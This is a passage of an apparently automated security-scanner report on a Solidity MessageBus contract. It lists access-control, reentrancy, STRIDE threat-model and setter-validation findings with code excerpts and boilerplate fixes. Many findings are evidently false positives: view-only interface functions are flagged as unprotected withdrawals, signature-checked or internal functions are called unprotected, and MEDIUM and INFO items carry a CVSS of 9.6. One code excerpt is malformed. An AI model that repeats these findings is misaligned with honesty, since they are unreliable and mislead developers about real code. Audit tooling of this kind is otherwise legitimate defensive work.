| CVSS Score  | 9.6                                                    |
| Confidence  | 44%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 |
| Status      | Open (44% conf.)                                       |
| Detected By | smartbugs_detector                                     |

## Description

Unprotected withdrawal function. Function 'withdraw' at line 23 has no access control.

## Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-123. Missing Access Control

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 9.6                                                    |
| Confidence  | 44%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:25 |
| Status      | Open (44% conf.)                                       |
| Detected By | smartbugs_detector                                     |

## Description

Unprotected withdrawal function. Function 'withdraw' at line 25 has no access control.

## Vulnerable Code

```
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-124. Missing Access Control

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:364 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

## Description

Unprotected withdrawal function. Function 'withdraw' at line 364 has no access control.

## Vulnerable Code

```

359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
>> 364 |      function withdrawFee(
365 |          address _account,
366 |          uint256 _cumulativeFee,
367 |          bytes[] calldata _sigs,
368 |          address[] calldata _signers,
369 |          uint256[] calldata _powers

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-125. reentrancy

| PROPERTY    | VALUE                                      |
|-------------|--------------------------------------------|
| Severity    | MEDIUM                                     |
| Category    |                                            |
| CVSS Score  | 9.6                                        |
| Confidence  | 33%                                        |
| Location    | flattened_MessageBus.sol:371 (withdrawFee) |
| Status      | Open (33% conf.)                           |
| Detected By | peculiar                                   |

## Description

Reentrancy vulnerability: external call precedes state update

## Vulnerable Code

```

366 |         uint256 _cumulativeFee,
367 |         bytes[] calldata _sigs,
368 |         address[] calldata _signers,
369 |         uint256[] calldata _powers
370 |     ) external {
>> 371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");

```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

## Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-126. reentrancy

| PROPERTY    | VALUE                                                     |
|-------------|-----------------------------------------------------------|
| Severity    | MEDIUM                                                    |
| Category    |                                                           |
| CVSS Score  | 9.6                                                       |
| Confidence  | 33%                                                       |
| Location    | flattened_MessageBus.sol:602 (executeMessageWithTransfer) |
| Status      | Open (33% conf.)                                          |
| Detected By | peculiar                                                  |

## Description

Reentrancy vulnerability: external call precedes state update

## Vulnerable Code

```

597 |
598 | // ===== utils (to avoid stack too deep) =====
599 |
600 | function executeMessageWithTransfer(TransferInfo calldata _transfer, bytes
calldata _message)
601 |     private
>> 602 |     returns (bool)
603 |     {
604 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
605 |             abi.encodeWithSelector(
606 |                 IMessageReceiverApp.executeMessageWithTransfer.selector,
607 |                 _transfer.sender,
```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

## Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-127. reentrancy

| PROPERTY    | VALUE                                                             |
|-------------|-------------------------------------------------------------------|
| Severity    | MEDIUM                                                            |
| Category    |                                                                   |
| CVSS Score  | 9.6                                                               |
| Confidence  | 33%                                                               |
| Location    | flattened_MessageBus.sol:623 (executeMessageWithTransferFallback) |
| Status      | Open (33% conf.)                                                  |
| Detected By | peculiar                                                          |

## Description

Reentrancy vulnerability: external call precedes state update

## Vulnerable Code

```

618 |         return false;
619 |     }
620 |
621 |     function executeMessageWithTransferFallback(TransferInfo calldata
_transfer, bytes calldata _message)
622 |         private
>> 623 |         returns (bool)
624 |     {
625 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
626 |             abi.encodeWithSelector(
627 |                 IMessageReceiverApp.executeMessageWithTransferFallback.selector,
628 |                 _transfer.sender,
```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

## Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-128. reentrancy

| PROPERTY    | VALUE                                                           |
|-------------|-----------------------------------------------------------------|
| Severity    | MEDIUM                                                          |
| Category    |                                                                 |
| CVSS Score  | 9.6                                                             |
| Confidence  | 33%                                                             |
| Location    | flattened_MessageBus.sol:644 (executeMessageWithTransferRefund) |
| Status      | Open (33% conf.)                                                |
| Detected By | peculiar                                                        |

## Description

Reentrancy vulnerability: external call precedes state update

## Vulnerable Code

```

639 |         return false;
640 |     }
641 |
642 |     function executeMessageWithTransferRefund(TransferInfo calldata _transfer,
bytes calldata _message)
643 |         private
>> 644 |         returns (bool)
645 |     {
646 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
647 |             abi.encodeWithSelector(
648 |                 IMessageReceiverApp.executeMessageWithTransferRefund.selector,
649 |                 _transfer.token,

```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

## Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-129. reentrancy

| PROPERTY    | VALUE                                         |
|-------------|-----------------------------------------------|
| Severity    | MEDIUM                                        |
| Category    |                                               |
| CVSS Score  | 9.6                                           |
| Confidence  | 33%                                           |
| Location    | flattened_MessageBus.sol:746 (executeMessage) |
| Status      | Open (33% conf.)                              |
| Detected By | peculiar                                      |

## Description

Reentrancy vulnerability: external call precedes state update

## Vulnerable Code

```

741 |         );
742 |     }
743 |
744 |     function executeMessage(RouteInfo calldata _route, bytes calldata
_message) private returns (bool) {
745 |         (bool ok, bytes memory res) = address(_route.receiver).call{value:
msg.value}();
>> 746 |         abi.encodeWithSelector(
747 |             IMessageReceiverApp.executeMessage.selector,
748 |             _route.sender,
749 |             _route.srcChainId,
750 |             _message
751 |         )

```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).



## Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-130. access\_control

| PROPERTY    | VALUE                                    |
|-------------|------------------------------------------|
| Severity    | MEDIUM                                   |
| Category    |                                          |
| CVSS Score  | 9.6                                      |
| Confidence  | 33%                                      |
| Location    | flattened_MessageBus.sol:248 (initOwner) |
| Status      | Open (33% conf.)                         |
| Detected By | peculiar                                 |

## Description

Missing or insufficient access control on privileged function

## Vulnerable Code

```

243 |  /**
244 |  * @dev Only to be called by inherit contracts, in their init func called
by Proxy
245 |  * we require _owner == address(0), which is only possible when it's a
delegateCall
246 |  * because constructor sets _owner in contract state.
247 |  */
>> 248 |  function initOwner() internal {
249 |      require(_owner == address(0), "owner already set");
250 |      _setOwner(msg.sender);
251 |  }
252 |
253 |  /**

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-131. access\_control

| PROPERTY    | VALUE                                    |
|-------------|------------------------------------------|
| Severity    | INFO                                     |
| Category    |                                          |
| CVSS Score  | 9.6                                      |
| Confidence  | 20%                                      |
| Location    | flattened_MessageBus.sol:277 (_setOwner) |
| Status      | Open (20% conf.)                         |
| Detected By | peculiar                                 |

## Description

Missing or insufficient access control on privileged function

## Vulnerable Code

```

272 |     function transferOwnership(address newOwner) public virtual onlyOwner {
273 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
274 |         _setOwner(newOwner);
275 |     }
276 |
>> 277 |     function _setOwner(address newOwner) private {
278 |         address oldOwner = _owner;
279 |         _owner = newOwner;
280 |         emit OwnershipTransferred(oldOwner, newOwner);
281 |     }
282 | }
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-132. access\_control

| PROPERTY    | VALUE                                      |
|-------------|--------------------------------------------|
| Severity    | MEDIUM                                     |
| Category    |                                            |
| CVSS Score  | 9.6                                        |
| Confidence  | 33%                                        |
| Location    | flattened_MessageBus.sol:364 (withdrawFee) |
| Status      | Open (33% conf.)                           |
| Detected By | peculiar                                   |

## Description

Missing or insufficient access control on privileged function

## Vulnerable Code

```

359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
>> 364 |      function withdrawFee(
365 |          address _account,
366 |          uint256 _cumulativeFee,
367 |          bytes[] calldata _sigs,
368 |          address[] calldata _signers,
369 |          uint256[] calldata _powers

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-133. access\_control

| PROPERTY    | VALUE                                         |
|-------------|-----------------------------------------------|
| Severity    | MEDIUM                                        |
| Category    |                                               |
| CVSS Score  | 9.6                                           |
| Confidence  | 33%                                           |
| Location    | flattened_MessageBus.sol:661 (verifyTransfer) |
| Status      | Open (33% conf.)                              |
| Detected By | peculiar                                      |

## Description

Missing or insufficient access control on privileged function

## Vulnerable Code

```

656 |         return success;
657 |     }
658 |     return false;
659 | }
>> 661 |     function verifyTransfer(TransferInfo calldata _transfer) private view
returns (bytes32) {
662 |         bytes32 transferId;
663 |         address bridgeAddr;
664 |         if (_transfer.t == TransferType.LqSend) {
665 |             transferId = keccak256(
666 |                 abi.encodePacked(

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-134. threat\_model

| PROPERTY    | VALUE                       |
|-------------|-----------------------------|
| Severity    | MEDIUM                      |
| Category    |                             |
| CVSS Score  | 3.1                         |
| Confidence  | 33%                         |
| Location    | flattened_MessageBus.sol:23 |
| Status      | Open (33% conf.)            |
| Detected By | threat_model                |

## Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

## Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
```

## Impact Analysis

Anyone can call privileged function

## Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

## References

- OWASP Smart Contract Top 10

## F-135. threat\_model

| PROPERTY    | VALUE                       |
|-------------|-----------------------------|
| Severity    | MEDIUM                      |
| Category    |                             |
| CVSS Score  | 3.1                         |
| Confidence  | 33%                         |
| Location    | flattened_MessageBus.sol:25 |
| Status      | Open (33% conf.)            |
| Detected By | threat_model                |

## Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

## Vulnerable Code

```

20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order

```

## Impact Analysis

Anyone can call privileged function

## Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

## References

- OWASP Smart Contract Top 10

## F-136. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:128 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

## Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

## Vulnerable Code

```

123 |         uint64 _mintChainId,
124 |         address _mintAccount,
125 |         uint64 _nonce
126 |     ) external;
127 |
>> 128 |     function records(bytes32 recordId) external view returns (bool);
    129 | }
    130 |
    131 | // MessageBus/src/interfaces/IOriginalTokenVaultV2.sol
    132 |
    133 | interface IOriginalTokenVaultV2 {

```

## Impact Analysis

Anyone can call privileged function

## Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

## References

- OWASP Smart Contract Top 10

## F-137. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:150 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

### Vulnerable Code

```

145 |         uint64 _mintChainId,
146 |         address _mintAccount,
147 |         uint64 _nonce
148 |     ) external returns (bytes32);
149 |
>> 150 |     function records(bytes32 recordId) external view returns (bool);
151 | }
152 |
153 | // MessageBus/src/interfaces/IPeggedTokenBridge.sol
154 |
155 | interface IPeggedTokenBridge {

```

### Impact Analysis

Anyone can call privileged function

### Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

### References

- OWASP Smart Contract Top 10



## F-138. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:170 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

### Vulnerable Code

```

165 |         uint256 _amount,
166 |         address _withdrawAccount,
167 |         uint64 _nonce
168 |     ) external;
169 |
>> 170 |     function records(bytes32 recordId) external view returns (bool);
171 | }
172 |
173 | // MessageBus/src/interfaces/IPeggedTokenBridgeV2.sol
174 |
175 | interface IPeggedTokenBridgeV2 {

```

### Impact Analysis

Anyone can call privileged function

### Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

### References

- OWASP Smart Contract Top 10

## F-139. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:193 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

### Vulnerable Code

```

188 |         uint64 _toChainId,
189 |         address _toAccount,
190 |         uint64 _nonce
191 |     ) external returns (bytes32);
192 |
>> 193 |     function records(bytes32 recordId) external view returns (bool);
194 | }
195 |
196 | // MessageBus/src/interfaces/ISigsVerifier.sol
197 |
198 | interface ISigsVerifier {

```

### Impact Analysis

Anyone can call privileged function

### Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

### References

- OWASP Smart Contract Top 10

## F-140. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:441 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

### Vulnerable Code

```

436 |         Fallback,
437 |         Pending
438 |     }
439 |     mapping(bytes32 => TxStatus) public executedMessages;
440 |
>> 441 |     address public liquidityBridge; // liquidity bridge address
442 |     address public pegBridge; // peg bridge address
443 |     address public pegVault; // peg original vault address
444 |     address public pegBridgeV2; // peg bridge address
445 |     address public pegVaultV2; // peg original vault address
446 |

```

### Impact Analysis

State can be read by attackers for manipulation timing

### Recommendation

Use internal/private visibility and controlled setters

### References

- OWASP Smart Contract Top 10

## F-141. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:442 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

### Vulnerable Code

```

437 |         Pending
438 |     }
439 |     mapping(bytes32 => TxStatus) public executedMessages;
440 |
441 |     address public liquidityBridge; // liquidity bridge address
>> 442 |     address public pegBridge; // peg bridge address
443 |     address public pegVault; // peg original vault address
444 |     address public pegBridgeV2; // peg bridge address
445 |     address public pegVaultV2; // peg original vault address
446 |
447 |     enum MsgType {

```

### Impact Analysis

State can be read by attackers for manipulation timing

### Recommendation

Use internal/private visibility and controlled setters

### References

- OWASP Smart Contract Top 10

## F-142. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:443 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

### Vulnerable Code

```

438 |     }
439 |     mapping(bytes32 => TxStatus) public executedMessages;
440 |
441 |     address public liquidityBridge; // liquidity bridge address
442 |     address public pegBridge; // peg bridge address
>> 443 |     address public pegVault; // peg original vault address
444 |     address public pegBridgeV2; // peg bridge address
445 |     address public pegVaultV2; // peg original vault address
446 |
447 |     enum MsgType {
448 |         MessageWithTransfer,
```

### Impact Analysis

State can be read by attackers for manipulation timing

### Recommendation

Use internal/private visibility and controlled setters

### References

- OWASP Smart Contract Top 10

## F-143. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:444 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

### Vulnerable Code

```

439 | mapping(bytes32 => TxStatus) public executedMessages;
440 |
441 | address public liquidityBridge; // liquidity bridge address
442 | address public pegBridge; // peg bridge address
443 | address public pegVault; // peg original vault address
>> 444 | address public pegBridgeV2; // peg bridge address
445 | address public pegVaultV2; // peg original vault address
446 |
447 | enum MsgType {
448 |     MessageWithTransfer,
449 |     MessageOnly

```

### Impact Analysis

State can be read by attackers for manipulation timing

### Recommendation

Use internal/private visibility and controlled setters

### References

- OWASP Smart Contract Top 10

## F-144. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | MEDIUM                       |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:445 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

### Vulnerable Code

```

440 |
441 |     address public liquidityBridge; // liquidity bridge address
442 |     address public pegBridge; // peg bridge address
443 |     address public pegVault; // peg original vault address
444 |     address public pegBridgeV2; // peg bridge address
>> 445 |     address public pegVaultV2; // peg original vault address
446 |
447 |     enum MsgType {
448 |         MessageWithTransfer,
449 |         MessageOnly
450 |     }

```

### Impact Analysis

State can be read by attackers for manipulation timing

### Recommendation

Use internal/private visibility and controlled setters

### References

- OWASP Smart Contract Top 10

## F-145. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:391 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10



## F-146. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:396 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-147. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:762 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-148. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:768 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-149. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:774 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-150. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:780 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |

```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-151. threat\_model

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:786 |
| Status      | Open (33% conf.)             |
| Detected By | threat_model                 |

### Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Invalid data can corrupt contract state

### Recommendation

Add require() statements to validate inputs

### References

- OWASP Smart Contract Top 10

## F-152. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:417 |
